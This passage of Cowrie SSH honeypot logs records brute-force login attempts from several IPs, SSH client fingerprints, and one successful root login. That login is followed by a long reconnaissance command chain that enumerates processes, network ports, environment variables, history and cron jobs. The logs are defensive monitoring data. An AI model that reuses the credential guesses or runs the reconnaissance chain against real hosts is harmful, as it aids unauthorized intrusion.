1@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:26.002776Z","src_ip":"193.32.162.151","session":"a9d4214a00c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:26.345844Z","src_ip":"193.32.162.151","session":"a9d4214a00c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44fedf48232","protocol":"ssh","message":"New connection: 2.57.121.25:49266 (10.17.0.5:22) [session: d44fedf48232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:27.241886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:27.247529Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:27.354776Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:27.455109Z","src_ip":"193.32.162.151","session":"a9d4214a00c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"puta","message":"login attempt [user/puta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:27.846984Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pussyeat","message":"login attempt [user/pussyeat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:28.954081Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pussy2","message":"login attempt [user/pussy2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:30.060832Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"punjab","message":"login attempt [user/punjab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:31.167517Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pumkin","message":"login attempt [user/pumkin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:32.274789Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:33.381963Z","src_ip":"2.57.121.25","session":"d44fedf48232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":41804,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3abd1c5ec5c","protocol":"ssh","message":"New connection: 103.82.27.19:41804 (159.203.135.109:22) [session: a3abd1c5ec5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:45.777164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:45.784309Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:46.092684Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"iloveyou","message":"login attempt [root/iloveyou] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:46.986519Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:47.566602Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:47.569627Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:47.883409Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:47.888662Z","src_ip":"103.82.27.19","session":"a3abd1c5ec5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37288,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d093fa2a1c3","protocol":"ssh","message":"New connection: 195.178.110.218:37288 (159.203.135.109:22) [session: 5d093fa2a1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:04.281057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:04.285826Z","src_ip":"195.178.110.218","session":"5d093fa2a1c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:04.366401Z","src_ip":"195.178.110.218","session":"5d093fa2a1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:04.606902Z","src_ip":"195.178.110.218","session":"5d093fa2a1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:05.690099Z","src_ip":"195.178.110.218","session":"5d093fa2a1c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53284,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9b12a72270d","protocol":"ssh","message":"New connection: 92.118.39.92:53284 (10.17.0.5:22) [session: f9b12a72270d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:41.001440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:41.008633Z","src_ip":"92.118.39.92","session":"f9b12a72270d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:41.111130Z","src_ip":"92.118.39.92","session":"f9b12a72270d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:41.517634Z","src_ip":"92.118.39.92","session":"f9b12a72270d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:17:42.621944Z","src_ip":"92.118.39.92","session":"f9b12a72270d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54592,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c5ec7e468a","protocol":"ssh","message":"New connection: 193.32.162.151:54592 (159.203.135.109:22) [session: 37c5ec7e468a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:18:43.536125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:18:43.539574Z","src_ip":"193.32.162.151","session":"37c5ec7e468a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:18:43.643962Z","src_ip":"193.32.162.151","session":"37c5ec7e468a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:18:44.051293Z","src_ip":"193.32.162.151","session":"37c5ec7e468a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:18:45.161313Z","src_ip":"193.32.162.151","session":"37c5ec7e468a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44886,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc0dc075207","protocol":"ssh","message":"New connection: 195.178.110.218:44886 (159.203.135.109:22) [session: 6dc0dc075207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:19:41.773014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:19:41.777503Z","src_ip":"195.178.110.218","session":"6dc0dc075207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:19:41.857611Z","src_ip":"195.178.110.218","session":"6dc0dc075207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:19:42.096492Z","src_ip":"195.178.110.218","session":"6dc0dc075207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:19:43.178963Z","src_ip":"195.178.110.218","session":"6dc0dc075207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fb918462167","protocol":"ssh","message":"New connection: 92.118.39.92:41682 (10.17.0.5:22) [session: 7fb918462167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:01.537699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:01.559624Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
